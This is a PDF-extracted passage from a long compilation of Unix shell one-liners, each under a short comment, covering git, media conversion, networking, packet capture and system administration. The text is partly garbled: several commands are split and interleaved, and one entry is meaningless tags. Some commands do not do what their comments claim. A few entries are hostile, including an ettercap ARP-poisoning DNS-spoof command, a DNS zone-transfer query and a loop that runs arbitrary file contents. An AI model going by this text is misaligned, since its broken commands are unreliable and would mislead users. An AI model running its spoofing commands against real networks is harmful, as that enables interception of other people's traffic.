useradd -m -p $(perl -e'print crypt("passwordscelta", "stigghiola")') user
# SSH to remote machine and cd to a specific directory
alias sshto 'ssh -X -t \!:1 "cd \!:2 ; tcsh"'

# Generate debian package without signing and only binaries


dpkg-buildpackage -b -rfakeroot -us -uc
# Extract any archive
aunpack foo.tar.bz2
# add untracked/changed items to a git repository before doing a commit and/or sending
upstream
git status|awk '/modified:/ { printf("git add %s\n",$3) }; NF ==2 { printf("git add %s\n",
$2) }'|sh
# add role to chef node
knife node run_list add first-client "role[base]"

490 / 658

All UNIX COMMANDS


# Tweet your status from the command line
twurl /1/statuses/update.json -d status="$1"
# Fetch all GPG keys that are currently missing in your keyring
for i in `gpg --list-sigs | perl -ne 'if(/User ID not found/){s/^.+([a-fA-F0-9]{8}).*/\1/;
print}' | sort | uniq`; do gpg --keyserver-options no-auto-key-retrieve --recv-keys $i; done
# Open (in vim) all modified files in a git repository
vim -p `git --porcelain | awk {print $2}`
# pngcrush all .png files in the directory structure
find -f . png | while read line; do pngcrush -ow -brute $line; done
# Encode a file to MPEG4 format
HandBrakeCLI -i video.avi -o video.mp4
# Ignore a specific subdir, instead of all subdirs, with ack-grep
ack -a -G '^(?!.*bar/data.*).*$' pattern
# Purge configuration files of removed packages on
dpkg -l | grep ^rc | cut -d' ' -f3 | xargs dpkg -P

debian based systems

# Replace all occurences of a pattern with another one from previous command
!!:gs/foo/bar
# Copy buffer from tmux into OS X clipboard
tmux show-buffer | pbcopy
# Visualize directory structure
tree
# Short Information about loaded kernel modules
lsmod | tail -n +2 | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed
-e'/^dep/s/$/\n/g'
# chef ssh
knife ssh name:* -x ec2-user -i ~/.ssh/aws-west.pem "hostname"
# find top 20 results in apache statistics for a specific month
awk '/Dec\/2012/ {print $1,$8}' logfile | grep -ivE '(.gif|.jpg|.png|favicon|.css|.js|
robots.txt|wp-l|wp-term)' | sort | uniq -c | sort -rn | head -n 20
# Opening & evaluating a SuperCollider file from commandline (Mac)
/Applications/SuperCollider/SuperCollider.app/Contents/Resources/sclang
~/path/to/your/scfile.scd
# Count music files in each directory
find . -type d -maxdepth 1 -print0 | xargs -0 -I{} sh -c 'find "{}" -type f | grep "ogg\|
mp3\|wav\|flac$" | wc -l | tr -d "\n"; echo " {}"'
# Get a PostgreSQL servers version
psql -h <SERVER NAME HERE> -c 'SELECT version();' | grep -v 'version\|---\|row\|^ *$' | sed
's/^\s*//'
# save a manpage to plaintext file
man -P cat ls > man_ls.txt
# amixer : raise volume and unmute if necessary
amixer -c 0 set Master 1+ unmute

491 / 658

All UNIX COMMANDS


# Create x11vnc server authentication file
x11vnc -storepasswd your_new_apssword ~/my_vnc_pass
# a2p converts awk scripts to perl programs
a2p -F:
# A way to run commands on a remote computer to be displayed on the remote computer
while :;do if [ ! $(ls -l commander |cut -d ' ' -f5) -eq 0 ]; then echo "Ran command: $(less
commander) @ $(date +%D) $(date +%r)" >> comm_log;"$(less commander)";> commander;fi;done

# Create a tunnel from a remote server to the local machine using a specific source port
socat TCP-LISTEN:locport,fork TCP:XXX.XXX.XXX.XXX:YYY,sourceport=srcport
# How many lines in your PHP project without comments
find . -type f -name '*.php' | xargs cat | sed -re ':top /\/\*.*\*\// { s/\/\*.*\*\///g ; t
top }; /\/\*/ { N ; b top }' | awk '$0 !~ /^[\t[:space:]]*($|(\/\/)|(#))/' | wc -l
# Get the rough (german) time from Twitter by @zurvollenstunde
curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist
jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs | sed -e 's#\ #:#'
# progress bar for cp
progr
# Paste hardware list (hwls) in html format into pastehtml.com directly from console and
return URI.
$ pastebin(){ curl -s -S --data-urlencode "txt=$(cat)" "http://pastehtml.com/upload/create?
input_type=txt&result=address";echo;}
# check a list
for i in `wget
class="[^"]\+"
(whois $i|grep

of domains registered on godaddy


-O url|grep '<a rel="nofollow"'|grep http|sed 's|.*<a rel="nofollow"
href="[^"]*https\?://\([^/]\+\)[^"]*">[^<]\+</a>.*|\1|'`;do if test -n "$
-i godaddy)";then echo $i uses GoDaddy;fi;sleep 20;done

# change directory permissions whithout changing file permissions recursive


sudo find foldername -type d -exec chmod 755 {} ";"
# Empty a file
touch filename
# Command to get list of all existing programming languages from Wikipedia article
curl http://en.wikipedia.org/wiki/List_of_programming_languages | grep "<li>" | awk
-F"title=" '{ print $2 }' | awk -F\" '{ print $2 }'
# convert .ppk file to .ssh file
puttygen my_ssh_key.ppk -O private-openssh -o my_openssh_key.ssh
# create tar.gz on solaris
tar cfp - file-to-be-archived | gzip > archive.tar.gz
# Find used fileextensions in a project
find . -type f | perl -ne 'chop(); $ext = substr($_, rindex($_, ".") + 1); print "$ext\n";'
| sort | uniq --count | sort -n
# Count music files in each directory
for i in */; do echo $(find $i -type f -regextype posix-extended -regex ".*\.(mp3|ogg|wav|
flac)" | wc -l) $i ; done

492 / 658

All UNIX COMMANDS


# rsync over ssh
rsync -avz -e ssh username@hostname:/path/to/remote/dir/ /path/to/local/dir/
# Creating sequence of number with text
seq 10 |xargs -n1 echo Printing line
# Start the x11vnc server
x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever
# Send a local file via email
{ echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ;
# Create a series of incrementing numbers in vim
:.,$!perl -pne 'for $i ("0001".."0004"){ s/XXXX/$i/ if($i == $.) }'
# Query well known ports list
portnum() { egrep "[[:space:]]$*/" /etc/services; }
# Get memory total from /proc/meminfo in Gigs
free -g
# change file permissions whithout changing directory permissions recursive
sudo find foldername -type f -exec chmod 644 {} ";"
# Displays all available firmware you can get (non-free) in a Debian system
apt-file --package-only search /lib/firmware
# Useless fun
echo "main(i){for(i=0;;i++)putchar(((i*(i>>8|i>>9)&46&i >>8))^(i&i>>13|i>>6));}" | gcc -x c
- && ./a.out | aplay
# get gzipped logs from webserver to local machine
ssh user@remote "tar cfp - /path/to/log/* | gzip" > local.tar.gz
# Poor man's
set +e +u; dd if=/dev/urandom of="/media/usb1/$$";sync;sync

# Serve current directory tree at http://$HOSTNAME:8000/


ruby -run -e httpd . -p 8000
# Grab all JIRA ticket numbers (e.g. ABC-123) mentioned in commits added in feature branch
off of master
git log master...feature-a | grep -o -E '\b([A-Z]+)-[0-9]+\b' | sort | uniq
# search into contents of python module
srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; };
# Copy all files. All normal files, all hidden files and all files starting with - (minus).
cp ./* .[!.]* ..?* /path/to/dir
# Eclipse needs to know the path to the local maven repository. Therefore the classpath
variable M2_REPO has to be set.
mvn -Declipse.workspace=<path-to-eclipse-workspace> eclipse:add-maven-repo
# Geo Weather
xmlstarlet fo "http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?
ip=$(curl -s icanhazip.com)... SEE SAMPLE OUTPUT

493 / 658

All UNIX COMMANDS


# display the ttl of a hostname in a human readable form
function ttl { /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 |
grep "^$1" | awk '{print $2}') }
# Dump /dev/ttyS0 on background automatically from startup
nohup cat /dev/ttyS0 | tee -a llamadas.db&
# Displays all installed firmware in your Debian sytem
aptitude search ~i ~nfirmware
# Convert video file to sequence of images
ffmpeg -i source.mpg -r 24 -f image2 still-%6d.png
# Find .jpg file that is actually thumbs.db
file -i `find . -name '*.jpg' -print` | grep "application/msword"
# Replicate a directory structure from a 'basedir' in a remote server.
ssh user@remotehost "find basedir -type d" | xargs -I {} -t mkdir -p {}
# Batch resize images (overwriting)
mogrify -resize 852x480 *.png
# Create MP3 from text on clipboard (OS X)
pbpaste | say -v Alex -o /tmp/say.aiff && sox /tmp/say.aiff say.mp3
# list the last week's added files in xmms2's library
xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc)
# Find files older than X, using find.
find . -mtime +10
# So you are not sure are connected and iither your router or ethernet card are not working.
sudo tcpdump -i eth0 -n port 67 and 68
# Unix timestamp Solaris
nawk 'BEGIN {print srand()}'
# Look for process by filename in command then kill the process
ps ax | grep -i ProcessName| kill -9 `awk '/FileName.Ext/ {print $1}'`
# display list of files in a directory sorted by amount of lines different with
original.txt.
for f in $(ls -A ./dir); do echo -n $f && diff original.txt ./dir/$f | wc -l ; done | perl
-ne 'my $h={}; while (<>) { chomp; if (/^(\S+?)\s*(\d+?)$/){$h->{$1}=$2;} }; for my $k (sort
{ $h->{$a} $h->{$b} } keys %$h ){ print "$k\t$h->{$k}\n"}'
# Count total amount of code lines in a PHP Project (short version)
find . -type f -name "*.php" -exec wc -l {} +;
# Epoch time conversion
echo $(date -d @$((0x4f28b47e)))
# Number of open connections per ip.
netstat -an | grep 80 | wc -l
# Extract raw audio from video
ffmpeg -i source.mpg -f s16le -acodec pcm_s16le audio.raw
# find ip address in all files in /etc directory
find /etc -type f -print0 | xargs -r0 grep --color '192.168.0.1'

494 / 658

All UNIX COMMANDS

# Create a csv file with '5-digits prefix' phone numbers, as well as occurrences per prefix
cut -d, -f1 /var/opt/example/dumpfile.130610_subscriber.csv | cut -c3-5 | sort | uniq -c |
sed -e 's/^ *//;/^$/d' | awk -F" " '{print $2 "," $1}' > SubsxPrefix.csv
# Convert multi layered TIFF file to multi page PDF document
convert multi_layer.tif -compress jpg multi_page.pdf
# simple single-lined git log
git log --pretty=oneline --abbrev-commit
# Sort lines on clipboard
pbpate | sort | pbcopy
# Search filenames with given pattern; each one is transfered via scp and if succesfull the
file is locally deleted. Ideal for filesystem quick maintenance
'ls -1 *<pattern>* | while read file; do scp $file user@host:/path/; if [[ $? -eq 0 ]]; then
rm $file; fi; done'
# avi to ogv (Ogg Theora)
ffmpeg2theora input.avi
# Add user to group on OS X 10.5
sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username
# Unix timestamp Solaris
/usr/bin/truss /usr/bin/date 2>&1 |

nawk -F= '/^time\(\)/ {gsub(/ /,"",$2);print $2}'

# Fix all the commit log messages from a user of a bad subversion client
for R in `svn log file:///path/repo | grep ^r | grep dude | cut -d' ' -f1 | cut -dr -f2`; do
svn ps svn:log --revprop -r $R "`svn pg svn:log --revprop -r $R file:///path/repo; perl -e
'print ".\n";' | fromdos`" file:///path/repo; done
# Remove all unused kernels with apt-get
apt-get remove $(dpkg -l | awk "/^ii linux-(image|headers)/ && ! /`uname -r`/ {print \$2}")
# Get the dir listing of an executable without knowing its location
ls -l =gcc
# DNS spoof with ettercap (etter.dns configured)
ettercap -i wlan0 -T -q -P dns_spoof -M ARP:remote // //
# Converts the output of disklabel from bytes to Gigabytes on FreeBSD
echo `disklabel mfid1s4 | sed -n '$p' | awk '{print $2}'` / 1024 / 1024 | bc -l
# Generate Qr code from contact file (or any other ASCII file)
qrencode -o contact.png ?`cat contact.vcs`?
# Grep recursively your Python project with color highlighting the result and line numbers
grep --color=always -nr 'setLevel' --include=*py | less -SRqg
# Convert red-cyan 3D anaglyph to side-by-side
convert infile.png \( +clone -channel GB -evaluate set 0 +channel \) +append -region
50%x100% -channel R -evaluate set 0 +channel outfile.png
# urldecoding
echo "q+werty%3D%2F%3B" | php -r "echo urldecode(file_get_contents('php://stdin'));"

495 / 658

All UNIX COMMANDS


# find which lines in a file are longer than N characters
perl -nle 'print length,"\t",$_ if length > 37' < /path/to/input/file
# Find given string in all files with given name or extension
find . -name "*.html" -exec grep -l 'string' {} \;
# Greets the user appropriately
echo Good $(i=`date +%H` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ;
then echo afternoon ; else echo evening ; fi ; fi)
# Unix timestamp Solaris
perl -le 'print time()'
# SVN Recursive Directory/File Adder
svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;svnradd
$i;else svn add $i;fi; fi;done }
# Create a booklet ps file out of a normal ps (A4 Size)
psbook file.ps | psnup -2 -l -m0.5cm | pstops '2:0,1U(210mm,297mm)' > file.booklet.ps
# mencoder convert bluray to xvid
mencoder input.m2ts -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf
scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o output.xvid.lamp.avi
# Number of CPU's in a system
grep -c '^$' /proc/cpuinfo

# Get process id based on name and parameters


pgrep -f 'process.*argument.*'
# One line Perl Script to determine the largest file sizes on a Linux Server
du -k | sort -n | perl -ne 'if ( /^(\d+)\s+(.*$)/){$l=log($1+.1);$m=int($l/log(1024));
printf ("%6.1f\t%s\t%25s %s\n",($1/(2**(10*$m))),(("K","M","G","T","P")[$m]),"*"x
(1.5*$l),$2);}' | more
# Show git branches by date - useful for showing active branches
git for-each-ref --sort=-committerdate --format="%1B[32m%(committerdate:iso8601) %1B[34m%
(committerdate:relative) %1B[0;m%(refname:short)" refs/heads/
# md5sum for files with bad characters
find ./ -type f | sed "s:[\ \',\"]:\\\&:g" | xargs md5sum
# Extend the opensuse buildservice key for a project and trigger its rebuild
project=YOURPROJECTHERE; package=YOURPACKAGEHERE; osc signkey --extend $project; osc
rebuildpac project package
# Batch resize images (overwriting)
mogrify -resize 852x480 ./*.png
# slice a fixed number of characters from the output of a command, where the width of the
slice is the number of characters in $slice
slice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)# convert a line to a space
sed 's/.*/ /'
# Configuring a proxy for a cobbler repo
cobbler repo edit --name=Epel-i386 --environment="http_proxy=http://100.100.100.100:3128"

496 / 658

All UNIX COMMANDS


# Remove all the files except abc in the directory
find * ! -name abc -delete
# Map \r do insert random number in vim
imap <leader>r <C-r>=system('echo "$(($RANDOM % 100))"')<cr>
# Console clock -- Beautiful 2
yes 'clear;printf "`date`\n" | figlet -f starwars | boxes;sleep 1' | sh
# Find all IP connected to my host through TCP connection and count it
netstat -an |grep ":80" |awk '{print $5}' | sed s/::ffff://g | cut -d: -f1 |sort |uniq -c |
sort -n | tail -1000 | grep -v "0.0.0.0"
# Install 4 new package files
sudo dpkg -i `ls -tr *.deb | tail -n4`
# copy GPT partition table from /dev/sda to /dev/sdb
sgdisk /dev/sda -R /dev/sdb && sgdisk -G /dev/sdb
# chmod only files
find . -type f -print0 | xargs -0 chmod -v gu=rw
# how to scp to another pc on network
sudo scp <file or folder> <name of pc 1>@<IP of pc 2>:
# Cut/Copy everything arround brackets or parentheses on vim (in normal mode)
d%
# add untracked/changed items to a git repository before doing a commit and/or sending
upstream
git status --porcelain | awk '{print $2}' | xargs git add
# Verify a file has not been tampered with since dpkg installation
cat /var/lib/dpkg/info/*.md5sums|grep usr/sbin/sshd|sed 's,usr,/usr,'|md5sum -c
# grep for 2 (or more) words anywhere on each line of a file
grep -E "(.*)(ERROR)(.*)(FAULT)(.*)" log.txt
# md5sum for files with bad characters
find ./ -type f -print0 | xargs -0 md5sum
# Show me all of my Mac App Store apps
find /Applications -path '*Contents/_MASReceipt/receipt' -maxdepth 4 -print |sed
's#.app/Contents/_MASReceipt/receipt#.app#g; s#/Applications/##'
# Convert all files *.mp4 to *.mpeg using ffmpeg (Windows Cmd line)
FOR %I IN (*.mp4) DO \Tools\ffmpeg\bin\ffmpeg.exe -i "%I" "%~nI.mpeg"
# find which lines in a file are longer than N characters
sed -n "/^.\{73,\}/p" < /path/to/file

# Mount a truecrypt drive from a file from the command line non-interactively
su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD"
# Emulate perl 'print "#" x 20, "\n"'
printf '%*s\n' 20 | tr ' ' '#'

497 / 658

All UNIX COMMANDS


# slice a fixed number of characters from the output of a command, where the width of the
slice is the number of characters in $slice
slice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--"
# Get all URLs from webpage via Regular Expression
lynx --dump "http://www.google.com.br" | egrep -o "http:.*"
# Show demo of toilet fonts
for i in ${TOILET_FONT_PATH:=/usr/share/figlet}/*.{t,f}lf; do j=${i##*/}; toilet -d "${i
%/*}" -f "$j" "${j%.*}"; done
# Get Total Line Count Of All Files In Subdirectory (Recursive)
find . -type f -name "*.*" -exec cat {} > totalLines 2> /dev/null \; && wc -l totalLines &&
rm totalLines
# print unread gmail message
curl -su username:passwd https://mail.google.com/mail/feed/atom | xmlstarlet sel -N
x="http://purl.org/atom/ns#" -t -m //x:entry -v 'concat(position(), ":", x:title)' -n
# Autocomplete directories (CWDs) of other ZSH processes
function _xterm_cwds() { for pid in $(pidof -- -zsh) $(pidof zsh); do reply+=$(readlink
/proc/$pid/cwd) done }; function xcd() { cd $1 }; compctl -K _xterm_cwds xcd
# GnuPG: Encrypt/Decrypt files
gpg -c sensitive.txt; gpg sensitive.txt.gpg
# quick and easy way of validating a date format of yyyy-mm-dd and returning a boolean
if date -d 2006-10-10 >> /dev/null 2>&1; then echo 1; else echo 0; fi
# Convert HAML to HTML on file change
while true; do filechanged=$(inotifywait -e close_write,moved_to --format "%w%f" .); haml
$filechanged -q --no-escape-attrs > ${filechanged/.haml/.html}; done
# Resume a partially copied file
rsync -a --append source-file destination
# Generate a random password 30 characters long
head -c 24 /dev/urandom | base64
# Listen and sort your music, with prompt for deleting (minimal alternative version)
for i in *; do mplayer "$i" && rm -i "$i"; done
# Show all symlinks
find ./ -type l -print0 | xargs -0 ls -plah
# Show top-level subdirectories (zsh)
ls -ld *(/)
# Dns zone transfer
host -la domain.com
# Convert video type from mpg to wmv
mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac mp3lame -lameopts br=98 -o
output.wmv input.mpg
# shell function to turn start and length in to a range suitable for using in cut.
range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; }
# print your iTunes App for iPhone/iTouch/iPad to show your friends which ones you have

498 / 658

All UNIX COMMANDS


find ~/Music/iTunes/iTunes\ Media/. -name \*.ipa -exec basename {} \; | cut -d \. -f 1 >
~/Desktop/MyAppList`date +%s.txt`
# Remove all the files except abc in the directory
find * ! -name abc -type f -delete
# find rcs locked file in a given folder
find /path/to/folder/ -mindepth 1 -maxdepth 2 -name "*,v" -exec sudo rlog -L -R {} \;
# Compute the average number of KB per file for each dir
parallel echo -n {}"\ "\;echo '$(du -s {} | awk "{print \$1}") /
bc -l ::: *

$(find {} | wc -l)' \|

# Get the dir listing of an executable without knowing its location


ls -l `whereis gcc`
# what model of computer I'm using?
sudo dmidecode -s system-product-name

# Easy way to display yum repo priorities


sed -n -e "/^\[/h; /priority *=/{ G; s/\n/ /; s/ity=/ity = /; p }" /etc/yum.repos.d/*.repo |
sort -k3n
# Open/Close your co-worker's cd player
while true; do eject && sleep `expr $RANDOM % 5` && eject -t; done;
# List your largest installed packages.
dpkg-query -Wf '${Installed-Size}\t${Status}\t${Package}\n' | sort -n | grep installed
# List all files fred* unless in a junk directory
ls **/fred*~*junk*/*
# A quick shell command to weed out the small wallpapers
for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed
's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; }
# Get a metascore from metacritic.com
metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div
id="metascore" class=".*">([^<]*)</div>|\1|p'; }
# remote backups with rsync
rsync --delete -az -e 'ssh -c blowfish -i /your/.ssh/backup_key -ax' /path/to/backup remotehost:/dest/path/
# geolocalize ip country
while read line; do pais=$(whois "$line" | grep -E '[Cc]ountry') echo -n "IP=$line
Pais=$pais" && echo done <listaip
# Track progress of long-running text-command using graphical dialog
(pv -n long_running > output) 2>&1 | zenity --progress
# Enable tab completion for known SSH hosts
complete -W "$(sed 's/;.*//;' /etc/hosts | awk ' /^[[:digit:]]/ {$1 = "";print
tolower($0)}')" ssh
# Put uuid of disk into variable
TEST_UUID=$(blkid /dev/sda6 | sed -rn "s/^.*UUID=\"([a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[az0-9]{4}-[a-z0-9]{12})\".*/\1/p")

499 / 658

All UNIX COMMANDS


# Get your external public IP address
curl icanhazip.com
# recursively add all new PHP files in a folder to SVN
for FILE in $(svn status | grep ? | grep .php); do svn add $FILE; done
# Get the IP address
ifconfig | grep "inet" | grep "broadcast" | awk '{print $2}'
# Find latest file in a directory
ls -rt | tail -n 1
# Display holidays in UK/England for December/2012 and January/2013 (with week numbers)
gcal -K -q GB_EN December/2012-January/2013 # Holidays for Dec/2012 and Jan/2013 with week
numbers
# read ajp13 packet contents on terminal using tshark 1.4.15
tshark -r *.eth -S -R "ajp13" -d tcp.port==9009,ajp13 -s 0 -l -V | awk '/Apache JServ/
{p=1} /^ *$/ {p=0;printf "\n"} (p){printf "%s\n", $0} /^(Frame|Internet Pro|Transmission
Control)/ {print $0}'
# cut log with row number,like from row number to another row number.
cat -n install | head -n 150 | tac | head -n 50 | tac
# Uptime in minute
uptime | awk -F ',' ' {print $1" "$2}'|awk ' {print $3" "$4" "$5}' | sed '1,$s/:/ /' | awk '
{if ($4 =="user") print $1*60 + $2;else if ($2=="mins") print $1;else print $1*24*60 + $2*60
+ $3}'
# A simple command to toggle mute with pulseaudio (sink 0)
pactl list sinks | grep -q Mute:.no && pactl set-sink-mute 0 1 || pactl set-sink-mute 0 0
# Just convert your all books DJVU format to PDF, with one line
for i in *.djvu; do djvu2pdf $i && echo "Finished -> $i"; done;
# Files modified today
ls *(m-1)
# Sort a character string
echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'
# Send a local file via email
cat filename | uuencode filename | mail -s "Email subject" user@example.com
# Instant editing screenshot with Gimp
sleep 4; F="$(tempfile -s '.xwd')"; xwd > "$F" ; gimp "$F"

# Shows how many percents of all avaliable packages are installed in your gentoo system
echo $(echo 'scale=2; ' '100 * ' $(eix --only-names -I | wc -l) / $(eix --only-names | wc
-l) | bc -l)%
# Console clock
watch -n 1 :
# Use tcpdump to monitor all DNS queries and responses
sudo tcpdump -i en0 'udp port 53'

500 / 658

All UNIX COMMANDS


# Convert high resolution JPEG for web publication
convert /home/user/file.jpg -resize 800x533 -strip -quality 80 -interlace line
/home/user/web_file.jpg
# grep directory and sub-directories
grep -r <searchterm> .
# Replaces spaces in filename with _ and converts upper to lower case
for file in * ; do mv "$file" `echo "$file" | tr ' ' '_' | tr '[A-Z]' '[a-z]'`; done
# Get the IP address
ifconfig | grep "inet" | tail -1 | awk '{print $2}'
# Get Current CPU Usage
top -n2 -d 0.5 | grep ^Cpu | sed 's/[[:alpha:]%]*//g' | awk 'NR == 2 {printf("%.2f\n",100$5)}'
# Open all files with a regular expression in vim
vim $(grep [REGULAR_EXPRESSION] -R * | cut -d":" -f1 | uniq)
# cut log from line 50 to line 88
cat -n install.log | head -88 | tac | head -n $(( 88 - 50 )) | tac
# List all symbolic links in current directory
$ ls -1F | grep @ | sed 's/@//' | column
# Parse tektronic csv files
awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}'
f0001ch2.csv > data
# Apply all pending updates to Mandriva Linux system (2008.0 and newer).
urpmi --auto-update --force
# apply all pending updates (Mandriva Linux)
# Extract URL from SVN working copy
function svnurl() { svn info $1 | egrep '^URL: (.*)' | sed s/URL\:\ //; }
# Length of longest line of code
perl -ne '$w = length if (length > $w);

END {print "$w\n"}' *.cpp

# compile source & then remove the dev tools you needed to install
dpkg-query -l > 1.lst; sudo apt-get install -y build-essential; ./configure; make; sudo
checkinstall -D make install; dpkg-query --list > 2.lst; diff 1.lst 2.lst | grep '^>' | awk
'{print $3}' | xargs sudo apt-get remove -y --purge
# A child process which survives the parent's death (Zsh version)
command &!
# Add all unversioned files to svn
svn add *
# Monitor specific process (ie apache) using Top
top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'`
# Grep all your PDFs in a row
find -iname \*.pdf -print0 | xargs -0 pdfgrep -i "my search text"
# the system will display device manager command line utility, cte.
<devcon/>, <dnsstat/>, <dsget>, <dsmod>, <enml>dloal>,/<html></>
# grep directory and sub-directories

501 / 658

All UNIX COMMANDS


grep -r <searchterm> .
# Convert flac to mp3
for file in *.flac; do flac -cd "$file" | lame -h -b 320 - "${file%.flac}.mp3"; done
# Watch sopcast stream with VLC
(sp-sc sop://brokesopcast.com:3912/6002 3908 8908 &>/dev/null &); vlc
http://localhost:8908/tv.asf
# list all world-writeable Linux files
sudo find / -perm -2 ! -type l -ls

# converts an A4 PDF file to accurate jpgs


pdf2jpg(){ convert -density 400 -bordercolor white -border 0 -resize 992x1403 -quality 85 $1
${1/%pdf/jpg} ; }
# top 10 of access log
awk '{ print $9 }' access.log | sort | uniq -c | sort -nr | head -n 10
# List all symbolic links in current directory
ls -1F | grep @$ | sed 's/@//' | column
# Grabs a random image from "~/wallpapers" and sets it as background
cd ~/wallpapers;arr=( * );num_wallpapers=${#arr[@]};wallpaper=${arr[$(echo $RANDOM%
$num_wallpapers|bc)]};feh --bg-fill $wallpaper
# Print total size of specified files and subdirectories
du -sk * | awk '{print $1} END {print "[+z1<y]sy\nlyx\np"}' | dc
# CSV list of infected URLS detected by ClamAV
grep "FOUND" /var/log/squidclamav.log | awk '{print $5"-"$2"-"$3","$4","$11}' | sed -e
's/\,http.*url=/\,/g' | sed -e 's/&/\,/g' | sed -e 's/source=//g' |sed -e 's/user=//g' | sed
-e 's/virus=//g' | sed -e 's/stream\:+//g' | sed -e 's/\+FOUND//g'
# display emerge.log date in a human friendly way
tail /var/log/emerge.log | awk -F: '{print strftime("%Y%m%d %X %Z", $1),$2}'
# tcptraceroute alternative for udp packets
sudo hping3 -TV --tr-stop -n -2 -p 53 ns1.server.tld
# Dumping Audio stream from flv (using ffmpeg)
ffmpeg -i input.flv -aq 2 output.mp3
# to make any command run even if sytem gets shut down
nohup df -k | sort -rn 12
# Extract infomation form pcap
tshark -r data.pcap -zio,phs
# Use xdg-mime to set your default web browser
xdg-mime default firefox.desktop x-scheme-handler/http
# Show list of packages that depend upon 'packagename'
repoquery --whatrequires --installed --recursive packagename
# Convert DOS newlines (CR/LF) to Unix format
tr -d '\r' < <input> > <output>

502 / 658

All UNIX COMMANDS


# Use lftp to multi-threaded download files from websites
lftp -c "pget -n 10 http://example.com/foo.bar"
# UNIX/ WAS related commands
nmon -f -T -^ -s 15 -c 12
# Display a numbered list of 50 biggets files sorted by size (human readable)
du -ah | sort -hr | head -n50 | cat -n
# make non-printable characters visible
cat -A
# Use heading subtitle file as watermark using mencoder
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac mp3lame -lameopts
cbr=128 -ovc lavc -lavcopts vcodec=mjpeg -vf scale=320:-2,expand=:240:::1 -o output.avi
input.flv
# google search
perl -e '$i=0;while($i<10){open(WGET,qq/|xargs lynx -dump/);printf WGET
qq{http://www.google.com/search?q=site:g33kinfo.com&hl=en&start=$i&sa=N},$i+=10}'|grep
'\/\/g33kinfo.com\/'
# geoip information
geoiplookup www.commandlinefu.com
# Calculate N!
dc -e '10 [q]sq[dd1=q1-lxx*]dsxxp'
# Print all connections of a source IP address in pcap
tshark -r data.pcap -R "ip.src==192.168.1.2" -T fields -e "ip.dst" |sort |uniq -c
# grep directory and sub-directories
rgrep <searchterm> *
# Recursively remove .svn directories
find . -iname ".svn" | xargs rm -r $1

# Encrypt directory with GnuPG and tar


tar zcf - foo | gpg -c --cipher-algo aes256 -o foo.tgz.gpg
# Prints total line count contribution per user for an SVN repository
svn ls -R | egrep -v -e "\/$" | xargs svn blame | awk '{count[$2]++}END{for(j in count)
print count[j] "\t" j}' | sort -rn
# Find Largest files of mount point
find /logs -ls -xdev | sort -nrk 7 | head -10
# Display a numbered list of files bigger than 500K, sorted by size (human readable)
find ./ -type f -size +500k -exec ls -1Ash {} \; | sort -hr | cat -n
# Returns the Windows file details for any file using Cygwin bash (actual r-clickproperties-info) to the term
finfo() { [[ -f "$(cygpath "$@")" ]] || { echo "bad-file";return 1;}; echo "$(wmic datafile
where name=\""$(echo "$(cygpath -wa "$@")"|sed 's/\\/\\\\/g')"\" get /value)"|sed
's/\r//g;s/^M$//;/^$/d'|awk -F"=" '{print $1"=""\033[1m"$2"\033[0m"}';}
# Simple calculator
while true; do read i; echo $[$i]; done

503 / 658

All UNIX COMMANDS


# Provides external IP, Country and City in a formated manner.
geoip () { curl -s "http://www.geoiptool.com/?IP=$1" | html2text | egrep --color 'City:|IP
Address:|Country:' }
# Command to show battery power status
webattery
# Re-run [re-edited] sequence of commands in vim history
In vim: q: && v[cursor movement]y && [paste/edit/save to /tmp/tmp.vim] && move to window to
modify && :so /tmp/tmp.vim
# Generate a unique MAC address from an IP Address
echo 00:16:3e$(gethostip 10.1.2.11 | awk '{ print tolower(substr($3,3)) }' |sed 's/.\
{2\}/:&/g' )
# Boot from a block device without giving root privilege to Virtual Box
VBoxBlockBoot() { sudo umount "$2"*; sudo chmod 777 "$2"; VBoxManage storageattach "$1"
--medium ~/.rawHD4VB_`basename "$2"`.vmdk --type hdd --storagectl "IDE Controller" --device
0 --port 0 ; VBoxManage startvm "$1";}
# Print out buddy name (aim) which has been capture in pcap
tshark -r data.pcap -R "ip.addr==192.168.1.2 && ip.addr==64.12.24.50 && aim" -d
tcp.port==443,aim -T fields -e "aim.buddyname" |sort |uniq -c
# Find Largest files of mount point
find /logs -ls -xdev | sort -nrk 7 | head -10
# Display a list of local shell scripts soft-linked to /usr/local/bin
for AAA in $(find /usr/local/bin -type l); do ls -gG "${AAA}"; done
# See what a cassandra node is streaming
watch -d 'echo -e "Remaining: `(nodetool netstats | grep " 0%" | wc -l)` \nCurrent:
`(nodetool netstats | grep "%" | grep -v " 0%")`"'
# Edit all files found having a specific string found by grep
grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim
